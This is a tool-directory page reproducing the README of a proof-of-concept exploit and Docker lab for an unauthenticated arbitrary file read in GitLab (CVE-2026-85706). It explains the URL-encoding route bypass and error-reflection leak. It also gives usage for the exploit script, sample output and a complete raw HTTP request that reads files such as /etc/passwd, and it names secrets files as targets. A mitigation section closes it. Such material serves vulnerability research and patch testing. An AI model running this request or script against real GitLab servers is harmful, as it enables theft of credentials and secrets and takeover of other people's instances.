Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-85706 — PoC and Docker lab for CVE-2026-85706, an unauthenticated arbitrary file read in GitLab CE/EE via the commits API route bypass and urlencoded error channel. | Kitploit
Tools/GitHubGitHub/eqstlab/cve-2026-85706
Vulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationInformation GatheringWeb SecurityPenetration TestingLabs & Practice
GitHubeqstlab/cve-2026-85706

CVE-2026-85706

PoC and Docker lab for CVE-2026-85706, an unauthenticated arbitrary file read in GitLab CE/EE via the commits API route bypass and urlencoded error channel.

23412 days agoNot yet reviewed
View Repository

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-85706 GitLab unauthenticated arbitrary file read

★ CVE-2026-85706 GitLab unauthenticated arbitrary file read PoC ★

https://github.com/user-attachments/assets/026749ec-04e9-4dd5-9453-cb7c1f6e823d


Overview

CVE-2026-85706 is an unauthenticated arbitrary file read in GitLab CE/EE (CVSS 10.0, CISA KEV) via POST /api/v4/projects/:id/repository/commits, whose body-upload helper runs before authenticate! and reads params['file.path'] as an absolute path with no confinement. URL-encoding one char of commits → %63ommits makes GitLab-Workhorse miss the route (so it never overwrites file.path), while Rails still decodes %63 → c and routes to the handler — letting the attacker set file.path via the query string. With Content-Type=application/x-www-form-urlencoded, the helper re-parses the file content and a % not followed by two hex digits reflects that content in the 400 body (files without one give only a 401 read oracle). Requires at least one public project.


Affected Versions

CategoryVersion
VulnerableGitLab CE/EE 18.7 – 19.1.7, 19.2.0 – 19.2.5, 19.3.0 – 19.3.1
Patched19.1.8 / 19.2.6 / 19.3.2 or later (2026-09-10)

Impact

  • Unauthenticated arbitrary file read of any file readable by the GitLab service process
  • Disclosure of files whose content contains an invalid % (application logs, and configs/credentials that embed URL-encoded values) → recon + credential theft → chaining to authenticated access / full instance compromise
  • The read primitive reaches high-value files (gitlab-secrets.json, database.yml); note that purely hex/base64 files return only an existence oracle through the public % reflection channel (no invalid % byte to trigger the echo)
  • The fix adds authenticate! ahead of the body-upload helper, so an unauthenticated request is refused before the file-read sink

Environment

Build and run the vulnerable GitLab CE. On boot, the seeder plants /flag.txt (with a trailing % leak trigger) and creates a public project victim/public-app (project id 1) so the commits API is reachable unauthenticated. First boot takes ~2–3 minutes.

docker build -t cve-2026-85706 .
docker run -d --name cve-2026-85706 --shm-size 256m -p 8088:80 cve-2026-85706

# wait until the seeder reports it is ready
docker exec cve-2026-85706 tail -n 20 /var/log/seed.log   # look for: [seed] SEED_DONE ...

The flag is a placeholder (EQST{gitlab_cve_2026_85706_arbitrary_file_read}). Set your own at run time without editing the image: docker run -e FLAG='YOUR_FLAG' ... cve-2026-85706.

PreconditionState in this lab
GitLab 18.7 – 19.1.719.1.7-ce.0
At least one public project (anon reaches the commits API)victim/public-app (id 1), auto-created
/api/v4/projects/:id/repository/commits reachable unauthenticatedexposed
Flag on the server filesystem/flag.txt (trailing % reflection trigger)

PoC

The exploit gitlab_exploit.py reads a file off the server with a single unauthenticated request, using the %63ommits Workhorse route bypass and the urlencoded re-parse error channel. Pick the file with --read (default /flag.txt).

# default: read /flag.txt and print the flag
python3 gitlab_exploit.py 172.17.0.2

# read any absolute path (content disclosed only if it contains an invalid '%')
python3 gitlab_exploit.py 172.17.0.2 --read /etc/passwd

# just confirm the sink is reachable
python3 gitlab_exploit.py 172.17.0.2 --check
[*] target   http://172.17.0.2
[*] endpoint /api/v4/projects/1/repository/%63ommits
[*] file.path /flag.txt
[+] arbitrary file read OK -> content of /flag.txt:
    EQST{gitlab_cve_2026_85706_arbitrary_file_read}%
[+] FLAG: EQST{gitlab_cve_2026_85706_arbitrary_file_read}

Options:

  • --read "<abs path>" — absolute file path to read (default /flag.txt)
  • --project <id> — public project id reachable unauthenticated (default 1)
  • --check — only confirm the file-read sink is reachable (expects local file not present)

Raw request (for Burp Repeater):

POST /api/v4/projects/1/repository/%63ommits?file=&file.path=/flag.txt&file.size=1&Content-Type=application/x-www-form-urlencoded HTTP/1.1
Host: 172.17.0.2
Content-Length: 0
Connection: close


Mitigation

  • Upgrade GitLab to 19.1.8 / 19.2.6 / 19.3.2 or later
  • If you cannot upgrade immediately, block POST/PUT to */repository/commits* and */repository/files* at a proxy/WAF, and place the instance behind SSO / VPN / an IP allowlist
  • After patching: assume any file readable by the GitLab service (logs, configs, secrets) was exposed if the endpoint was internet-reachable — invalidate sessions and rotate exposed credentials / secrets

Analysis

  • KR:
  • EN:
Download Tool